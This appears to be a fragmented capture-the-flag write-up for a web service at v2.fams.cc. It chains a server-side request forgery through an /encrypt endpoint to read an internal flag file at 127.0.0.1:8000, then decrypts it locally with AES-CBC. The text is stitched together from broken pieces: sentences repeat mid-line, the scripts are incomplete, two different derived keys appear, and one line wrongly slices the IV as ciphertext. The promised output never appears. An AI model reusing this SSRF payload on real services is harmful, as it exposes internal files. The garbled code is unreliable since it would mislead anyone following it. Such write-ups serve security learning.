V2.fams.cc -

#!/usr/bin/env bash TARGET="http://v2.fams.cc" SSRF_URL="http://127.0.0.1:8000/secret/flag.txt" KEY="ssrf"

cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct)

#!/usr/bin/env python3 import sys, hashlib, binascii from Crypto.Cipher import AES

curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON: v2.fams.cc

"download": "http://v2.fams.cc/download/7a9c3d", "used_key": "8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e"

/var/www/internal/ ├─ index.html ├─ secret/ │ └─ flag.txt └─ uploads/ The flag file ( /var/www/internal/secret/flag.txt ) contains the flag in plain text. Because the external interface can reach http://127.0.0.1:8000/secret/flag.txt via SSRF, we can ask the service to encrypt that file and then decrypt it ourselves. url = http://127.0.0.1:8000/secret/flag.txt key = any‑string (e.g., "ssrf") Submit:

iv_ct = open('/tmp/enc.bin','rb').read() iv, ct = iv_ct[:16], iv_ct[16:] "ssrf") Submit: iv_ct = open('/tmp/enc.bin'

"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c"

At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together:

# 3️⃣ Decrypt locally (Python one‑liner) python3 - <<PY import sys, binascii from Crypto.Cipher import AES ct = iv_ct[:16]

# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)

# Remove PKCS#7 padding pad_len = pt[-1] flag = pt[:-pad_len].decode() print(flag) Running it yields: